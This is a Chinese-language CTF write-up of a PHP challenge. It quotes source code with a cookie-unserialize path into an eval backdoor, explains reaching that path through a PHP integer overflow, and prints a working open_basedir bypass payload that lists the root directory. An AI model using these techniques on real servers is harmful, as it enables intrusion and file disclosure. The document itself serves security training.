例题[蓝帽杯 2021]One Pointer PHP
题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php include "user.php"; if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_POST["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
|
1 2 3 4 5 6
| <?php class User{ public $count=1; } $u=new User(); ?>
|
可以看到我们能rce但是要$count[]=1不成立,而对于count数组只有一组数据,
但是在对count数组填入数据时,做了一个下表递增的操作,而下表的值是我们可以控制的,这里就有了个数组越界
我们就可以让$user->count的值等于9223372036854775806自增后成了3A9223372036854775807就会产生数组越界我们就能命令执行了

可以看到执行了phpinfo
但是他设置了很多的disable_function

并且也设置了OPEN_BASEDIR

我们可以绕过open_basedir读文件

playload
1 2 3 4 5 6 7 8 9
| mkdir('123'); chdir('123'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(scandir('/'));
|
但是不能读取flag,那么应该是要提权